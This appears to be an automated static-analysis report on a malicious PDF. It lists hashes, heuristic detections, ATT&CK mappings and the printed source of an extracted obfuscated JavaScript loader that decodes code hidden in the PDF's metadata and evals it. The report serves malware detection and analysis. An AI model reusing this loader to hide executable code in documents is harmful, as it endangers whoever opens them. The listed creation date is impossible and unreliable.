Malicious PDF — malware analysis report

Static analysis result for SHA-256 ef4b2c95cb9d6eaa…

MALICIOUS

PDF

18.0 KB Created: 2011-72-51 03:25:00 First seen: 2026-05-09
MD5: c29728006a41915871c8571061e364d0 SHA-1: 1cda4254639699e95e354dcc6bd0a7cb9dc5c93d SHA-256: ef4b2c95cb9d6eaac29d89bfa0c3b516418f787137f3d395ee451b034e6a7952
156 Risk Score

Malware Insights

MITRE ATT&CK
T1059.001 Command and Scripting Interpreter: PowerShell T1204.002 Malicious File: Malicious JavaScript

The ML classifier strongly indicates this PDF is malicious. It contains embedded JavaScript, which is further evidenced by the 'PDF_JAVASCRIPT' and 'PDF_JS' heuristics. The JavaScript stream, named 'javascript_obj0001_000.js', is likely responsible for executing the malicious payload. The 'String.fromCharCode' usage suggests obfuscation within the script.

Machine Learning

  • Nyx PDF Classifier malicious score 1.0000

Heuristics 5

  • Obfuscated Pidief-style JavaScript loader (stage not decoded) high CVE related PDF_PIDIEF_OBFUSCATED_VERSION_GATED_LOADER
    PDF JavaScript carries a large opaque encoded stage (a letter-delimited numeric character-code array) that is built to be decoded and eval'd, but no exact Adobe Reader CVE could be attributed because the encoding scheme resisted full static decoding. This is the structural fingerprint of the Pidief / multi-CVE exploit-kit loader family — a version-gated obfuscated JavaScript stage with no benign use. Flagged suspicious on its own; an ML/AV signal or a recovered heap-spray pushes it to malicious.
  • JavaScript action low 2 related findings PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • PDF JavaScript exploit cluster critical PDF_JS_EXPLOIT_CLUSTER
    PDF combines an executable JavaScript/action surface with exploit staging indicators such as eval/unescape/fromCharCode, XFA script content, or a related CVE pattern. Benign form JavaScript remains low-severity, but this correlated cluster is high-confidence malicious behavior.
    Matched line in script
    /Title (String.fromCharCode)
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0001_000.js pdf-javascript-stream PDF /JS object 1 at offset 0x45E9 343 bytes
SHA-256: c34f19bb3b7ebfdbcbc0e2101222a6c74aee51e95b8b161fade1948ee8ef6891
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 1 eval/decoder/string-building token(s).
Preview script
First 1,000 lines of the extracted script
var w = 4;
var ummf = this.producer.replace(/w/g,'*w,');
ummf = ummf.replace(/t/g,'2');
ummf=ummf.substr(0,ummf.length-2) + ']';
oifas=new Function('a','return ' + this.subject + '(a)');
meurx=oifas(this.title);
umqg = oifas(ummf);
var s = '';
for (i = 0; i < umqg.length; i++) {
	fvlj = umqg[i];
	s += meurx(fvlj);
}
oifas(s);

Open this report in the interactive analyzer, or submit your own file for analysis.